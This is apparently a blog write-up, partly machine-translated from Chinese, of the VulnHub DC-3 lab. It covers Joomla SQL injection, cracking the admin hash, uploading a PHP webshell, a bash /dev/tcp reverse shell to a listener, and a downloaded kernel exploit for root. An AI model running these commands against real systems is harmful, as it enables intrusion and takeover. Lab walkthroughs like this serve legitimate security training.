Remember once vulnhub | Penetration Testing DC-3

vulnhub DC-3


  • 0X01 Main Point

    1. searchsploit use
    2. website fingerprinting (Wappalyzer plug)
    3.Netcat (rebound shell) preliminary and download scripts mention the right
    4. Linux kernel version to detect attacks get root privileges

  • 0X02 pre-sniffing and port detection
    using kali under arp-scan acquisition target drone IP, use nmap to detect open ports, only port 80 open.
    Here Insert Picture Description
    Here Insert Picture Description
    Starting from the website to see what new discoveries.
    Here Insert Picture Description
    Daily dirsearch run directory, sweep the background.
    Here Insert Picture Description
    Here we look /README.txt discovered the site is the joomla CMS, and get back path.

这里介绍一下Chorme的插件Wappalyzer,Wappalyzer是一款浏览器插件,通过Wappalyzer可以识别出网站采用了那种web技术。它能够检测出CMS和电子商务系统、留言板、javascript框架,主机面板,分析统计工具和其它的一些web系统。The company behind Wappalyzer还能够收集web程序的一些信息用于统计分析,揭示出各种web系统的使用率即增长情况。实际Wappalyzer就是一个指纹识别工具。
Here Insert Picture Description
可见通过网站指纹识别也能够判断出,下面针对joomla搜寻可以利用的漏洞,msf启动。利用msf中的joomla版本检测发现是joomla 3.7.0的版本
Here Insert Picture Description
searchsploit发现了一个3.7.0版本的SQL注入漏洞:
Here Insert Picture Description
这里可以直接利用此漏洞进行SQL注入,可以得出是Mysql数据库,下面就是爆库爆表爆字段,下面是有用的信息:
Here Insert Picture Description
得到admin账户的Hash加密的密码,使用kali自带的John爆破看是否能够得到明文密码,注意:john工具对于同一个shadow文件只会进行一次爆破,如果第二次执行john shadow是不会得到结果的。由于是第二次查看,使用--show命令查看即可。
Here Insert Picture Description
得到admin的明文密码snoopy。根据dirsearch扫到的后台登录。既然是管理员,那就有上传的功能,我们的思路就是先得到Webshell,然后连接后虚拟终端进行反弹Shell,最后得到低权限shell后在进行提权。

beezs模板下上传shell.php内容就是常规的PHP一句话。
Here Insert Picture Description
可以看到成功上传shell.php,[^1]蚁剑连接。

[^1]这里我这个版本的菜刀一直连不上,但是蚁剑却可以成功连上,有大佬知道原因可以滴滴我,就先用蚁剑连上。
利用虚拟终端进行反弹shell,也可以直接上传PHP直接得到反弹shell,我这里使用前者。
蚁剑虚拟终端 bash -c 'bash -i >& /dev/tcp/172.20.10.8/2333 0>&1'
kali终端 nc -lvvp 2333成功Listening
Here Insert Picture Description
Here Insert Picture Description
Here Insert Picture Description
lsb_release -a查看当前Linux发行系统版本,uname -an查看内核版本。

  • lsb_release -a :FSG(Free Standards Group)组织开发的LSB (Linux Standard Base)标准的一个命令,用来查看linux兼容性的发行版信息。
    -/proc/version 和 uname -a 显示的内容相同,显示linux内核版本号。

搜索关键词即可得到提权脚本,我们使用39772.txt这个是经过认证的,效果更好。
找到提供的镜像,wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip下载到/tmp路径,unzip 39772.zip进行解压,tar -xvf exploit.tar进行解压,接下来根据39772.txt里的usage进行逐步操作即可。
Here Insert Picture Description
得到root权限,最终得到flag,并且可以创建root用户,以登录虚拟机,后面的操作就不再赘述。
Here Insert Picture Description

发布了17 篇原创文章 · 获赞 3 · 访问量 1077

Guess you like

Origin blog.csdn.net/crisprx/article/details/104024558